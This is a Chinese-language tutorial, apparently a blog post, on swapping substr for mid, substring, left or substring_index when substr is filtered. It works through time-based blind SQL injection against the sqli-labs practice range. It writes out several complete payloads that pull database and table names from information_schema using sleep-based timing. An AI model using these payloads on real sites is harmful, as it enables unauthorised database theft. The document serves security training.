本章节主要介绍substr函数被过滤后,还有哪些函数可以替代这个函数,在MYSQL数据库中进行SQL注入。要介绍的函数有:substr、mid、substring、left、substring_index
1.小皮面板
2.php5.5.9nts
3.mysql5.7.26
4.sql-labs靶场
1.substr
2.mid
3.substring
4.left
5.substring_index
作用很简单,就是用于截取函数:
substr("abc",从第几个字符开始,截取多少个字符)
从第一个字符开始截取第一个字符

从第一个字符开始,截取两个字符

从第二个字符开始,截取一个字符

其他两个函数呢?
substr函数、mid函数、substring函数三者的作用一模一样,无需另外记录
left函数和上面的函数不同。不同之处有两点,只有一个参数、只能从左边开始取。
所以简单来说没有上面三个函数的方便、好用。
格式:
letf(字符串, 从左边第一个开始取几个字符)
从左边开始,取一个字符

取两个字符

这个函数有一个反义词,right(),这个是从右开始取。这里就不细说了~
这个函数和其他函数的主要区别,就是使用的是分隔符号进行分隔。如果没有分隔符号呢?那么他就会选择返回全部。
格式:
SUBSTRING_INDEX('www.abc.com', '选择分隔的符号', 第几个点之前的所有内容)
注意格式里前两个字符都需要引号,最后一个是数值
选择分隔符号 . 返回第一个 . 前的所有内容

选择分隔符号 . 返回第二个 . 前的所有内容

选择分隔符号 . 返回倒数第二个 . 前的所有内容

选择分隔符号 . 返回倒数第一个 . 前的所有内容

选择字符中没有的分隔符号,则返回全部内容

不选择分隔符号,则返回全部内容

当然也可以用字母作为分割符号

我们在sql靶场的第一关:
使用两个比较经典的时间注入Payload:
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(10),1)--+
?id=1' and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101,sleep(5),1)--+
简单介绍一下:
ascii() 就是将字符转换成ascii码方便我们对字符进行爆破
sleep() 就是响应时间延长10秒
那么这两个payload的意思就很简单了,第一句:将数据库名称的第一个字符转换成ascii码进行对比,如果等于115则响应延长10秒,否则正常响应。第二句:选中information_schema.tables数据表的第一行第一列的字符中的第一个转换成ascii码进行对比,如果等于101则响应延长5秒,否则正常响应。
?id=1' and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=100,sleep(5),1)--+

?id=1' and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101,sleep(5),1)--+

通过响应可以看出来101就是对应的字符ascii码。
也可以通过BP抓包中的响应时间中看出来,明显的101的响应时间比另一个响应时间要长。

那么接下来就是一个个替换成我们刚刚学习的函数,mid和substring,就不必多说,直接替换即可


letf函数,因为是从左取,且只有一个参数所以要进行更改
?id=1' and if((select ascii(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)))=101,sleep(5),1)--+

substring_index函数就比较鸡肋了,因为一般情况下你只能使用无分割符号的情况,那么你就要首先获取他的字符长度,然后去爆破它完整的字符串,但大多数时候是不现实的。
先用payload:?id=1' and if(length(database())=8,sleep(10),1)--+得到数据库名的长度

再用payload去爆破出8位字符

从这里就可以看出这其实是比较鸡肋的~如果数据库名包含字母,那么爆破的时间将大大增加。不过如果性能好,且网站防御措施不到位,确实可以试试~
本文所包含的内容仅用于教育和研究目的,旨在提高信息安全意识,帮助用户了解网络安全防护的重要性。
文章中提及的任何渗透测试技巧、工具或方法,仅供合法授权的安全研究和测试使用。在进行任何渗透测试或安全测试之前,请确保您已获得相关系统或网络所有者的明确授权。
本文作者不对任何因使用文章内容而导致的非法活动、损害或其他不良后果承担任何责任。读者在实施任何技术之前应确保遵守所有适用的法律法规。
本文内容不支持或鼓励任何形式的恶意攻击、未授权的入侵或网络犯罪。
本文内容仅限于教育用途,不得以任何方式用于未经授权的网络安全攻击或破坏行为。